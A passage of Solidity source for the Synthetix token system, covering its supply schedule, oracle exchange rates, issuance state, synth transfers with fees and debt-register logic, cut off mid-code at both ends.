bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract SupplySchedule is Owned { using SafeMath for uint; using SafeDecimalMath for uint; struct ScheduleData { uint totalSupply; uint startPeriod; uint endPeriod; uint totalSupplyMinted; } uint public mintPeriodDuration = 1 weeks; uint public lastMintEvent; Synthetix public synthetix; uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365; uint public constant START_DATE = 1520294400; uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1); uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2); uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3); uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4); uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5); uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6); uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7); uint8 constant public INFLATION_SCHEDULES_LENGTH = 7; ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules; uint public minterReward = 200 * SafeDecimalMath.unit(); constructor(address _owner) Owned(_owner) public { schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit()); schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0); schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0); schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0); schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0); schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0); schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0); } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; } function mintableSupply() public view returns (uint) { if (!isMintable()) { return 0; } uint index = getCurrentSchedule(); uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index); ScheduleData memory schedule = schedules[index]; uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration); uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod); uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod)); uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint); return amountInPeriod.add(amountPreviousPeriod); } function _numWeeksRoundedDown(uint _timeDiff) public view returns (uint) { return _timeDiff.div(mintPeriodDuration); } function isMintable() public view returns (bool) { bool mintable = false; if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod) { mintable = true; } return mintable; } function getCurrentSchedule() public view returns (uint) { require(now <= schedules[6].endPeriod, "Mintable periods have ended"); for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) { if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) { return i; } } } function _remainingSupplyFromPreviousYear(uint currentSchedule) internal view returns (uint) { if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) { return 0; } uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted); if (amountInPeriod < 0) { return 0; } return amountInPeriod; } function updateMintValues() external onlySynthetix returns (bool) { uint currentIndex = getCurrentSchedule(); uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex); uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount); if (lastPeriodAmount > 0) { schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount); } schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount); lastMintEvent = now; emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now); return true; } function setMinterReward(uint _amount) external onlyOwner { minterReward = _amount; emit MinterRewardUpdated(_amount); } modifier onlySynthetix() { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp); event MinterRewardUpdated(uint newRewardAmount); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bytes4[5] public xdrParticipants; struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozen; } mapping(bytes4 => InversePricing) public inversePricing; bytes4[] public invertedKeys; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) { continue; } newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]); rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } emit RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); return true; } function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) { InversePricing storage inverse = inversePricing[currencyKey]; if (inverse.entryPoint <= 0) { return rate; } uint newInverseRate = rates[currencyKey]; if (!inverse.frozen) { uint doubleEntryPoint = inverse.entryPoint.mul(2); if (doubleEntryPoint <= rate) { newInverseRate = 0; } else { newInverseRate = doubleEntryPoint.sub(rate); } if (newInverseRate >= inverse.upperLimit) { newInverseRate = inverse.upperLimit; } else if (newInverseRate <= inverse.lowerLimit) { newInverseRate = inverse.lowerLimit; } if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) { inverse.frozen = true; emit InversePriceFrozen(currencyKey); } } return newInverseRate; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit) external onlyOwner { require(entryPoint > 0, "entryPoint must be above 0"); require(lowerLimit > 0, "lowerLimit must be above 0"); require(upperLimit > entryPoint, "upperLimit must be above the entryPoint"); require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint"); require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint"); if (inversePricing[currencyKey].entryPoint <= 0) { invertedKeys.push(currencyKey); } inversePricing[currencyKey].entryPoint = entryPoint; inversePricing[currencyKey].upperLimit = upperLimit; inversePricing[currencyKey].lowerLimit = lowerLimit; inversePricing[currencyKey].frozen = false; emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit); } function removeInversePricing(bytes4 currencyKey) external onlyOwner { inversePricing[currencyKey].entryPoint = 0; inversePricing[currencyKey].upperLimit = 0; inversePricing[currencyKey].lowerLimit = 0; inversePricing[currencyKey].frozen = false; for (uint8 i = 0; i < invertedKeys.length; i++) { if (invertedKeys[i] == currencyKey) { delete invertedKeys[i]; invertedKeys[i] = invertedKeys[invertedKeys.length - 1]; invertedKeys.length--; break; } } emit InversePriceConfigured(currencyKey, 0, 0, 0); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(rateForCurrency(destinationCurrencyKey)); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) public view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function rateIsFrozen(bytes4 currencyKey) external view returns (bool) { return inversePricing[currencyKey].frozen; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier rateNotStale(bytes4 currencyKey) { require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit); event InversePriceFrozen(bytes4 currencyKey); } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract ISynthetixState { struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } uint[] public debtLedger; uint public issuanceRatio; mapping(address => IssuanceData) public issuanceData; function debtLedgerLength() external view returns (uint); function hasIssued(address account) external view returns (bool); function incrementTotalIssuerCount() external; function decrementTotalIssuerCount() external; function setCurrentIssuanceData(address account, uint initialDebtOwnership) external; function lastDebtLedgerEntry() external view returns (uint); function appendDebtLedgerValue(uint value) external; function clearIssuanceData(address account) external; } contract SynthetixState is ISynthetixState, State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public importedXDRAmount; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = importedXDRAmount; uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); importedXDRAmount = newTotalDebtIssued; uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } contract IFeePool { address public FEE_ADDRESS; function amountReceivedFromExchange(uint value) external view returns (uint); function amountReceivedFromTransfer(uint value) external view returns (uint); function feePaid(bytes4 currencyKey, uint amount) external; function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external; function rewardsMinted(uint amount) external; function transferFeeIncurred(uint value) public view returns (uint); } contract Synth is ExternStateToken { IFeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } interface ISynthetixEscrow { function balanceOf(address account) public view returns (uint); function appendVestingEntry(address account, uint quantity) public; } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; IFeePool public feePool; ISynthetixEscrow public escrow; ISynthetixEscrow public rewardEscrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; SupplySchedule public supplySchedule; string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule, ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; supplySchedule = _supplySchedule; rewardEscrow = _rewardEscrow; escrow = _escrow; } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey)); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableCurrencyKeys() internal view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress == address(0) ? messageSender : destinationAddress, true ); } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); _appendAccountIssuanceRecord(); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint debt = debtBalanceOf(messageSender, "XDR"); uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToRemove = debt < debtToRemove ? debt : debtToRemove; _removeFromDebtRegister(amountToRemove); uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount; synths[currencyKey].burn(messageSender, amountToBurn); _appendAccountIssuanceRecord(); } function _appendAccountIssuanceRecord() internal { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender); feePool.appendAccountIssuanceRecord( messageSender, initialDebtOwnership, debtEntryIndex ); } function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); } else { delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( 